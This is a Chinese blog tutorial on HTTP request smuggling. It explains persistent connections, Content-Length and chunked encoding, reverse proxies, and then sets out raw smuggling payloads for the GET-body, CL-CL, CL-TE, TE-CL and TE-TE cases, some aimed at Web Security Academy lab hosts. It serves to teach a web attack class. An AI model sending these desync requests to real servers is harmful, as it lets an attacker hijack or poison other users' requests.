沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

HTTP请求走私

0x00 前言


闲着也是闲着,不如来学点新东西,这次就让我们来学一下HTTP Request Smuggling吧。顾名思义 ,“走私”给人的印象就是在一堆正常的东西里,夹带着违法的东西;“HTTP请求走私”与其类似,只不过是在正常的“HTTP请求”中,夹带着恶意代码。“冰冻三尺非一日之寒”,在开始学习“HTTP走私“之前,我们还需要积累一些前置知识。

0x01 Http的持久连接


Keep-Alive

学过计算机网络的人可能就会记得,书上有提到过Http的持久连接和非持久连接,区别如图所示:

img

非持久连接一次请求就需要一次TCP连接,而持久连接却只需要一个TCP连接即可完成多词请求。在HTTP/1.0中要做到持久连接,必须在请求时加入首部Connection: Keep-Alive,而在HTTP/1.1中,这是默认启动的,要关闭则必须在请求中加入首部Connection: close

Pipeline

顾名思义,就是让请求,像流水线一样,按照先进先出,先发出的请求就先应答然后返回。区别如图所示:

这种方式,必须建立在是持久连接的情况下。

Content-Length

在非持久连接中,一次连接结束,服务器就知道请求结束了,会有内容输出,但是在持久连接中,服务器并不能有效的界定是否还会有数据传输进来,所以会一直等待下去,造成无内容输出,为了解决这个问题,Content-Length就派上用场了。

Content-Length计算了实体的长度,这样服务器就能够准确确认数据已经传输完成了。但这样子必须要求请求首部提供的长度准确,如果小于数据长度,会造成截断,在开启了持续连接的情况下,剩下的数据会被拼接到下一个请求之中走私与这相关哦);如果大于数据长度,服务器会一直等待你传来接下来的数据直至超时。

所以我们可以看到,这个东西还是蛮麻烦的哈,所以我们就有了接下来的一个首部,他不要求我们给出准确的数据大小。

Transfer-Encoding

当这个首部被设置为Transfer-Encoding:chunked时,即告诉服务器,我们采用的是分块传输。但同时请求实体也要经过分块编码的处理,下面就让我们来学习一下分块传输的格式吧。

每一个分块要以十六进制的分块长度加上\r\n开头,然后就是分块的实际数据加上/r/n,终止块(表示数据传输结束了)是一个长度为0的分块,即0\r\n,然后再接上\r\n,听起来很抽象,具体看一下下面的实例吧。

image-20210220163205387

0x02 前后端服务器


简介

随着时代的发展,Web架构现在流行起了前后端分离。前端的代码就放在前端服务器上,后端的代码放在后端服务器上,称为“前后端完全分离”。关于Web架构发展的事情,实在很多,因为这不是本文的重要内容,可以到参考文章查看。

反向代理

前后端分离后,部署在不同服务器或者同一服务器的不同端口时,可能会出现跨域问题,因为违反了浏览器的同源策略(域名、协议、端口均相同才算同源,具体见参考文章),当请求非同源的资源时,会被拒绝访问。这时候我们可以使用反向代理来解决问题,另外反向代理服务器还可以直接作为静态资源的前端服务器。反向代理的拓扑结构如下图所示。

0x03 HTTP请求走私


简介

上文我们谈到了持久连接下,服务器判断数据传输边界(是否结束)的问题,造成“HTTP请求走私”的原因也是基于此。当网站使用了上文所提到的反向代理时,因为某些原因,导致前端服务器对用户的请求和后端服务器理解不一致就可能会出现走私,比如,前端服务器认为这是一个请求,而后端服务器却认为这是两个请求,这样便走私了一个请求。关于走私攻击的危害,将在后文中体现。

使用带有请求实体的不建议携带请求方式

仅有POST、PUT以及PATCH这三个动词时会包含请求体 (参考的,不太确定)

不建议携带请求实体的请求方式有:GET、HEAD、DELETE、OPTIONS、TRACE,这里以GET为例子。

HTTP协议中并没有明确表明不允许使用带有请求体的GET请求,但是在RFC中提到过不建议这样做,并表示“这可能会带来一些问题”。如果使用带有请求体的GET请求,当前端服务器允许GET携带请求体,而后端服务器不允许GET携带请求体时,就有可能会造成“HTTP请求走私”。

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

当前端服务器收到这段请求时,因为允许GET携带请求体,所以会检查CL首部,认为这是一个请求,然后转发给后端服务器;但后端服务器因为不允许GET携带请求体,会忽略CL首部,由于上文提到的Pipeline,它会将这个请求当作两个请求,即一个请求访问/目录,另一个请求访问/secret目录,实现了“HTTP请求走私”。

CL-CL

RFC中提到如果请求中有两个CL,并且值不同时,要返回400。但假设前后端服务器都没有严格按照标准返回400,前端服务器以第一个CL为准,后端服务器以第二个CL为准,那么就可能造成走私。

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

这个请求中,前端服务器以第一个CL为准,将请求完整地转发给了后端服务器,但后端服务器以第二个CL为准,这时,便走私了一个字符a。上文提到过,CL小于实际数据长度时,会造成截断问题,在开启了持续连接的情况下,会拼接到下一个请求中。也就是说,会出现类似aGET的请求方式,对用户造成影响。

CL-TE

RFC中提到,如果同时收到CL和TE,服务器应该忽略CL。假设前端服务器只处理 CL,而后端服务器按照标准忽略CL,只处理TE,就可能会有走私问题。

POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

这个请求中,前端服务器只处理CL首部,将请求体完整地转发给后端服务器,而后端服务器按照标准,只处理TE。上文提高过终止块,后端服务器读到终止块时,认为数据传输结束,这样就将字符G留在了缓冲区中,等到下一个请求时,就会被拼接上去,出现类似GPOST的请求方式。

TE-CL

同样的,假设前服务器端只处理TE,而后端服务器处理CL时,也会造成走私问题。

POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

这个请求中,前端服务器读到终止块,将请求完整的转发给后端服务器。但后端服务器以CL为准,所以它只会读取到请求体中的12\r\n,将后面的实体当作另一个请求。

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

TE-TE

当前后端服务器都以TE为标准时,也可以通过设置干扰,而使服务器不以TE进行处理。

POST / HTTP/1.1\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: error\r\n

fo\r\n
hacker\r\n
0\r\n

前端服务器以第一个TE为准,读到终止快,把请求完整的转发给后端。后端以第二个TE为准,但是这个TE(Transfer-encoding: error)不符合规范,服务器转而使用CL,CL长度为4,即截断到fo\r\n,后面的hacker0将会被拼接到下一个请求中,造成形如HACKER0GET的请求方式

如果使用burp转发,需要先关闭CL长度自动更新功能。

0x0 参考文章


HTTP 协议中的 Transfer-Encoding | JerryQu 的小站 (imququ.com)

用了这么久HTTP, 你是否了解Content-Length? | Fundebug博客

HTTP协议头部与Keep-Alive模式详解 (byvoid.com)

前后端分离和正/反向代理_matthewchen123的博客-CSDN博客

前后端为什么要分离? - 知乎 (zhihu.com)

前端之同源策略和跨域问题解决方法 (juejin.cn)

前后端分离情况下的跨域问题 - 知乎 (zhihu.com)

浏览器的同源策略 - Web 安全 | MDN (mozilla.org)

HTTP请求体问题

从一道题到协议层攻击之HTTP请求走私

由一次渗透测试引发的HTTP请求走私思考

HTTP请求走私

浅析HTTP走私攻击

协议层的攻击——HTTP请求走私